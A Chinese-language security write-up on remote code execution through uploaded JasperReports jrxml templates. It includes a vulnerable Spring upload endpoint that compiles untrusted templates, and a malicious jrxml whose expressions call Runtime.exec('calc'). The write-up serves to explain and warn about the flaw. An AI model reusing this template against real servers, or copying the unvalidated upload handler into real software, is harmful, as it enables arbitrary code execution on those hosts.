(Jasper注入)上传jrxml模板进行JasperReport解析导致任意代码执行RCE
JasperReport是一个强大、灵活的报表生成工具,能够展示丰富的页面内容,并将之转换成PDF、HTML、XML等格式。该库完全由Java写成,可以用于在各种Java应用程序,包括J2EE,Web应用程序中生成动态内容。
JasperReports附带了报表编译器,可以在报表表达式内部使用Groovy脚本语言或JavaScript编译报表模板。通过报表模板jrxml中的参数、字段或变量声明获取到对应java类,您甚至可以在表达式中的对象引用上调用方法。
pom依赖:
<dependency>
<groupId>net.sf.jasperreports</groupId>
<artifactId>jasperreports</artifactId>
<version>6.20.0</version>
</dependency>
java代码实现:
@RequestMapping("/test/uploadJrxml")
public String uploadJrxml(MultipartFile file) throws IOException,JRException {
String filename = file.getOriginalFilename();
String suffix = filename.substring(filename.lastIndexOf(".") + 1);
File fileNew = new File("D:\\JrxmlFile\\" + System.currentTimeMillis() + filename);
file.transferTo(fileNew);
System.out.println("------------------解析jrxml-----------------");
if ("jrxml".equals(suffix)) {
Map<String, Object> paraMap = new HashMap<>();
// paraMap.put("abc", "123456");//Jasper的语法,对jrxml文档中的$P{abc}进行赋值
JasperReport parentReport = JasperCompileManager.compileReport(new FileInputStream(fileNew));
JasperPrint jasperPrint = JasperFillManager.fillReport(parentReport, paraMap, new JREmptyDataSource());//解析
// JasperExportManager.exportReportToPdfFile(jasperPrint, "D:\\JrxmlFile\\"+ System.currentTimeMillis() + "Test.pdf");//将解析后的Jrxml文件生成pdf格式
}
return fileNew.getAbsolutePath();
}
.jrxml文件模板:
<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Jaspersoft Studio version 6.1.1.final using JasperReports Library version 6.1.1 -->
<!-- 2020-05-28T16:26:18 -->
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="Blank_A4" pageWidth="226" pageHeight="1000" columnWidth="226" leftMargin="0" rightMargin="0" topMargin="0" bottomMargin="0" uuid="65ac09b1-f1eb-43e7-b286-55c2265202d0">
<parameter name="abc" class="java.lang.String" isForPrompting="false"/>
<parameter name="memberPoints" class="java.lang.String" isForPrompting="false"/>
<queryString>
<![CDATA[]]>
</queryString>
<variable name="run" resetType="None">
<!-- <variableExpression><![CDATA[new java.util.Scanner(java.lang.Runtime.getRuntime().exec("calc").getInputStream()).useDelimiter("\\A")]]>
</variableExpression> -->
<variableExpression > <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]>
</variableExpression >
</variable>
<variable name="run2" resetType="None">
<variableExpression><![CDATA["dsp:"+$P{abc}]]>
</variableExpression>
</variable>
<background>
<band splitType="Stretch"/>
</background>
<title>
<band height="50">
<property name="com.jaspersoft.studio.unit.height" value="pixel"/>
<staticText>
<reportElement x="180" y="0" width="200" height="20"/>
<text><![CDATA[testTitle]]></text>
</staticText>
</band>
</title>
<pageHeader>
<band height="10">
<staticText>
<reportElement x="10" y="0" width="10" height="10"/>
<text>
<![CDATA[Page Header]]>
</text>
</staticText>
</band>
</pageHeader>
<detail>
<band height="20">
<textField>
<reportElement x="10" y="0" width="200" height="20"/>
<textFieldExpression>
<![CDATA["hhh"+$V{run2}+($P{abc})]]>
<!-- <![CDATA[java.lang.Runtime.getRuntime().exec("calc")]]> -->
</textFieldExpression>
</textField>
<staticText>
<reportElement x="180" y="0" width="200" height="20"/>
<text><![CDATA[hello!]]></text>
</staticText>
<staticText>
<reportElement x="180" y="-20" width="200" height="20"/>
<text><![CDATA[hello2!]]></text>
</staticText>
</band>
</detail>
</jasperReport>
其中Expression类型的标签可以在运行时上下文调用任意代码
如:
<variable name="run" resetType="None">
<variableExpression> <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]></variableExpression>
</variable>
当文件没有进行合理白名单限制就进行文件解析, jasperreports引擎便会执行jrxml里定义的危险代码。